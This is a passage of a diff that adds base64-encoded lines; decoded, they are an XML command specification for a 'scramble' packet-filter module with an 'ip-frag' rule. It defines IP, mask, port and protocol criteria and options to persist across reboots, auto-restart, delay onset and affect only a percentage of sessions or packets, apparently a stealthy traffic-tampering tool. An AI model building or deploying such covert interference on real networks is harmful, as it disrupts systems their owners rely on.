+ICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAgIDxz
+ZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2Ny
+YW1ibGVfcGFyYW1fZGlyPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAg
+ICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9sPC9l
+bGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAg
+ICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgICA8L2NtZD4NCiAgICAgIDxjbWQgdGl0bGU9Imlw
+LWZyYWciPg0KICAgICAgICA8aGVscHRleHQ+Q3JlYXRlcyBhIG5ldyBpcC1mcmFnIHJ1bGUgYmFz
+ZWQgb24gdGhlIHNwZWNpZmllZCBjcml0ZXJpYS48L2hlbHB0ZXh0Pg0KICAgICAgICA8cHJpbWl0
+aXZlcz4NCiAgICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICAgIDxwcmlt
+aXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBG
+MDAwMDA4PC9wcmltaXRpdmU+DQogICAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAg
+ICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVzPg0KICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBG
+MDAwMDA0PC9wcmltaXRpdmU+DQogICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDU8L3By
+aW1pdGl2ZT4NCiAgICAgICAgICA8L29wdGlvbmFsX3ByaW1pdGl2ZXM+DQogICAgICAgIDwvcHJp
+bWl0aXZlcz4NCiAgICAgICAgPGF0dHJpYnV0ZXM+DQogICAgICAgICAgPHJlcXVpcmVkX2F0dHJp
+YnV0ZXM+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxh
+dHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRy
+aWJfMTwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlNvdXJjZSBJUDwv
+bmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+aXB2NDwvdHlwZT4NCiAgICAgICAg
+ICAgICAgICA8c2l6ZT4xNjwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYw
+MDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE8L2FyZ251bWJl
+cj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0
+cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8
+YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0
+cmliXzI8L25jdXJzZWlkPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5Tb3VyY2UgTWFz
+azwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+aXB2NDwvdHlwZT4NCiAgICAg
+ICAgICAgICAgICA8c2l6ZT4xNjwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4
+MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjI8L2FyZ251
+bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRf
+YXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAg
+ICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl8zPC9uY3Vyc2VpZD4NCiAgICAgICAg
+ICAgICAgPG5jdXJzZWxhYmVsPlN0YXJ0IFNyYyBQb3J0PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAg
+ICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQog
+ICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2
+ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4zPC9h
+cmdudW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21t
+YW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAg
+ICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNDwvbmN1cnNlaWQ+DQogICAg
+ICAgICAgICAgIDxuY3Vyc2VsYWJlbD5FbmQgU3JjIFBvcnQ8L25jdXJzZWxhYmVsPg0KICAgICAg
+ICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4N
+CiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0
+aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjQ8
+L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2Nv
+bW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAg
+ICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9j
+cmVhdGVfYXR0cmliXzU8L25jdXJzZWlkPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5E
+ZXN0aW5hdGlvbiBJUDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+aXB2NDwv
+dHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xNjwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8
+cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVt
+YmVyPjU8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAg
+ICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0K
+ICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3Jh
+bWJsZV9jcmVhdGVfYXR0cmliXzY8L25jdXJzZWlkPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2Vs
+YWJlbD5EZXN0aW5hdGlvbiBNYXNrPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgICA8dHlw
+ZT5pcHY0PC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE2PC9zaXplPg0KICAgICAgICAg
+ICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAg
+IDxhcmdudW1iZXI+NjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAg
+ICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRy
+aWJ1dGU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzc8
+L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+U3RhcnQgRHN0IFBvcnQ8L25j
+dXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0
+eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAg
+ICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAg
+ICAgICA8YXJnbnVtYmVyPjc8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+
+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRf
+YXR0cmlidXRlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJp
+Yl84PC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkVuZCBEc3QgUG9ydDwv
+bmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAg
+PHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAg
+ICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAg
+ICAgICAgIDxhcmdudW1iZXI+ODwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0
+ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8Y29tbWFu
+ZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAg
+PG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfOTwvbmN1cnNlaWQ+DQogICAgICAgICAg
+ICAgICAgPG5jdXJzZWxhYmVsPlByb3RvY29sPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAg
+ICA8dHlwZT5zdHJpbmc8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTY8L3NpemU+DQog
+ICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAg
+ICAgICAgICAgPGFyZ251bWJlcj45PC9hcmdudW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0cmli
+dXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICA8L3JlcXVp
+cmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgPG9wdGlvbmFsX2F0dHJpYnV0ZXMvPg0KICAgICAg
+ICA8L2F0dHJpYnV0ZXM+DQogICAgICAgIDxwYXJhbWV0ZXJzPg0KICAgICAgICAgIDxyZXF1aXJl
+ZF9wYXJhbWV0ZXJzLz4NCiAgICAgICAgICA8b3B0aW9uYWxfcGFyYW1ldGVycz4NCiAgICAgICAg
+ICAgIDxwYXJhbWV0ZXIgZmxhZz0iZW4iPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5m
+YWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3Bh
+cmFtX2VuPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkVuYWJsZTwvbmN1
+cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5
+cGU+cHJlc2VuY2U8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTwvc2l6ZT4NCiAgICAg
+ICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPnRydWU8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAg
+ICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDQ8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8
+YXJnbnVtYmVyPjI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+RW5hYmxl
+cyB0aGUgcnVsZSBvbiBjcmVhdGlvbjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmli
+dXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZs
+YWc9InBzIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRp
+dmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9wczwvbmN1cnNlaWQ+
+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5QZXJzaXN0PC9uY3Vyc2VsYWJlbD4NCiAgICAg
+ICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT5wcmVzZW5jZTwvdHlw
+ZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZh
+dWx0dmFsdWU+dHJ1ZTwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+
+MHgwRjAwMDAwNTwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MjwvYXJn
+bnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5FbmFibGUgdGhlIGZpbHRlciB0byBz
+dXJ2aXZlIHJlYm9vdHMuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQog
+ICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0iciI+
+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAg
+ICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fcjwvbmN1cnNlaWQ+DQogICAgICAg
+ICAgICAgIDxuY3Vyc2VsYWJlbD5BdXRvIFJlc3RhcnQ8L25jdXJzZWxhYmVsPg0KICAgICAgICAg
+ICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnByZXNlbmNlPC90eXBlPg0K
+ICAgICAgICAgICAgICAgIDxzaXplPjE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2
+YWx1ZT50cnVlPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBG
+MDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xMDwvYXJnbnVt
+YmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5BdXRvbWF0aWNhbGx5IHJlLWVuYWJsZSB0
+aGUgZmlsdGVyIHdoZW4gdGVybWluYXRpb24gaXMgcmVhY2hlZC48L2hlbHB0ZXh0Pg0KICAgICAg
+ICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAg
+ICAgPHBhcmFtZXRlciBmbGFnPSJ0ZCI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZh
+bHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFy
+YW1fdGQ8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+VGltZSBEZWxheTwv
+bmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAg
+PHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE1PC9zaXplPg0KICAg
+ICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAg
+ICAgICAgIDxhcmdudW1iZXI+MTE8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRl
+eHQ+VGltZSBiZWZvcmUgZmlsdGVyIGFmZmVjdHMgcGFja2V0cy4gIFRoZSBmb3JtYXQgY2FuIGJl
+IHNlY29uZHMgaS5lLiAzNjAwLCBvciBvbmUgY2hhcmFjdGVyIHNwZWNpZmllcnMgZm9yIGRheXMs
+IGhvdXJzLCBtaW51dGVzLCBhbmQgc2Vjb25kcyBpLmUuIDFkIDJoIDNtIDRzLjwvaGVscHRleHQ+
+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQog
+ICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InQiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNp
+dGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFt
+YmxlX3BhcmFtX3Q8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+VGltZSBE
+dXJhdGlvbjwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAg
+ICAgICAgICAgPHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE1PC9z
+aXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0K
+ICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAg
+ICA8aGVscHRleHQ+RHVyYXRpb24gcGFja2V0cyB3aWxsIGJlIGFmZmVjdGVkIGJ5IGZpbHRlci4g
+IFRoZSBmb3JtYXQgY2FuIGJlIHNlY29uZHMgaS5lLiAzNjAwLCBvciBvbmUgY2hhcmFjdGVyIHNw
+ZWNpZmllcnMgZm9yIGRheXMsIGhvdXJzLCBtaW51dGVzLCBhbmQgc2Vjb25kcyBpLmUuIDFkIDJo
+IDNtIDRzLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAg
+ICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InNkIj4NCiAgICAg
+ICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAg
+ICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9zZDwvbmN1cnNlaWQ+DQogICAgICAgICAgICAg
+IDxuY3Vyc2VsYWJlbD5TZXNzaW9uIERlbGF5PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAg
+PGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAg
+ICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4w
+PC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9w
+cmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xMzwvYXJnbnVtYmVyPg0KICAg
+ICAgICAgICAgICAgIDxoZWxwdGV4dD5OdW1iZXIgb2Ygc2Vzc2lvbnMgdG8gaWdub3JlIGJlZm9y
+ZSBmaWx0ZXIgYWZmZWN0cyBwYWNrZXRzLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0
+cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVy
+IGZsYWc9InMiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNp
+dGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3M8L25jdXJzZWlk
+Pg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+U2Vzc2lvbiBQZXJjZW50YWdlPC9uY3Vyc2Vs
+YWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51
+aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAg
+ICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHBy
+aW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJl
+cj4xNDwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5QZXJjZW50YWdlIG9m
+IHNlc3Npb25zIGZpbHRlciB3aWxsIGFmZmVjdC48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8
+L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBhcmFt
+ZXRlciBmbGFnPSJzbSI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNl
+c2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fc208L25j
+dXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+TWF4IFNlc3Npb25zPC9uY3Vyc2Vs
+YWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51
+aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAg
+ICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHBy
+aW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJl
+cj4xNTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5NYXhpbXVtIG51bWJl
+ciBvZiBzZXNzaW9uIHRvIGFmZmVjdCBiZWZvcmUgZmlsdGVyIGlzIHRlcm1pbmF0ZWQuPC9oZWxw
+dGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRl
+cj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0icGQiPg0KICAgICAgICAgICAgICA8Y2Fz
+ZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlk
+PnNjcmFtYmxlX3BhcmFtX3BkPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVs
+PlBhY2tldCBEZWxheTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQog
+ICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXpl
+PjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVl
+Pg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAg
+ICAgICAgICAgICAgIDxhcmdudW1iZXI+MTY8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8
+aGVscHRleHQ+TnVtYmVyIG9mIHBhY2tldHMgdG8gaWdub3JlIGJlZm9yZSBmaWx0ZXIgYWZmZWN0
+cyBwYWNrZXRzLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAg
+ICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InAiPg0KICAg
+ICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAg
+ICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3A8L25jdXJzZWlkPg0KICAgICAgICAgICAg
+ICA8bmN1cnNlbGFiZWw+UGFja2V0IFBlcmNlbnRhZ2U8L25jdXJzZWxhYmVsPg0KICAgICAgICAg
+ICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAg
+ICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZh
+bHVlPjA8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAw
+MDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE3PC9hcmdudW1iZXI+
+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0PlBlcmNlbnRhZ2Ugb2YgcGFja2V0cyBmaWx0ZXIg
+d2lsbCBhZmZlY3QuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAg
+ICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0icG0iPg0K
+ICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAg
+ICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3BtPC9uY3Vyc2VpZD4NCiAgICAgICAg
+ICAgICAgPG5jdXJzZWxhYmVsPk1heCBQYWNrZXRzPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAg
+ICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAg
+ICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1
+ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAz
+PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xODwvYXJnbnVtYmVyPg0K
+ICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5NYXhpbXVtIG51bWJlciBvZiBwYWNrZXRzIHRvIGFm
+ZmVjdCBiZWZvcmUgZmlsdGVyIGlzIHRlcm1pbmF0ZWQuPC9oZWxwdGV4dD4NCiAgICAgICAgICAg
+ICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxw
+YXJhbWV0ZXIgZmxhZz0iZGlyIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8
+L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9k
+aXI8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+RGlyZWN0aW9uPC9uY3Vy
+c2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlw
+ZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAg
+ICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAg
+PHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251
+bWJlcj4xOTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5UaGUgZGlyZWN0
+aW9uIGluIGEgY2xpZW50IHNlcnZlciBjb25uZWN0aW9uIHRoYXQgdGhpcyBmaWx0ZXIgYXBwbGll
+cyB0by4gIElmIGZsYWcgaXMgbm90IHVzZWQsIGJvdGggZGlyZWN0aW9uIHdpbGwgYmUgZmlsdGVy
+ZWQgb24uICBJZiAxIGlzIGVudGVyZWQsIG9ubHkgY29ubmVjdGlvbnMgZnJvbSB0aGUgY2xpZW50
+IHdpbGwgYmUgZmlsdGVyZWQgb24uICBJZiAyLCBvbmx5IHRob3NlIGZyb20gdGhlIHNlcnZlci48
